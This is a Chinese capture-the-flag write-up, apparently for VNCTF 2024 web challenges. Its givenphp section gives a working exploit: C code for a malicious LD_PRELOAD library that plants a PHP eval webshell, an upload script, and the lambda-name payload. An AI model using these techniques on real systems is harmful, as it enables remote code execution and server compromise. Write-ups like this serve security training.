Checkin
根据game.js的逻辑,通关时会调用finalGame,找到函数
TrySent
givenphp
源码:
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}
看一下差不多就知道考点了
文件上传的python脚本,create_function的返回名称,LD_PRELOAD加载恶意.so文件
先生成恶意.so文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shanks.php");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC 1.c -o 2.so
然后写脚本上传
import requests
url = 'http://b63c9f58-7566-42fe-914f-0fcceaaf5a57.vnctf2024.manqiu.top/'
files = {'file': open('2.so', 'rb')}
response = requests.post(url, files=files,data={'upload':1})
print(response.text)
#/tmp/uploaded_file_65d01e88cbce14.10675338.so
create_function匿名函数的名字是\x00lambda_%d
所以我们传值?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d01e88cbce14.10675338.so&guess=%00lambda_1
然后就加载了我们的恶意.so文件
CutePath
搜索得到目录穿越漏洞,/#/123/../../../但是比赛的时候一直试的是../../../etc/passwd,一直没回显还以为不是这个,估计应该是只能显示文件夹。
往上穿一级可以找到用户名和密码
在重命名处文件名会解析路径,所以可以进行任意文件的移动
还有一种就是下载文件夹的时候会打包下载,直接下/flag文件夹的zip包。
codefever_again
最新的codefever,直接去github的issue看有没有人提交漏洞
没看到漏洞,但是其实是因为github默认加了个is:issue is:open 的过滤器,去掉这个就可以找到Remote Command Execute Vulnerability,不过没去试。
实际上附件直接给了payload
看了wp,发现大家都是用邮箱rce,加again好像是2022的西湖也是这个,而且洞也没修。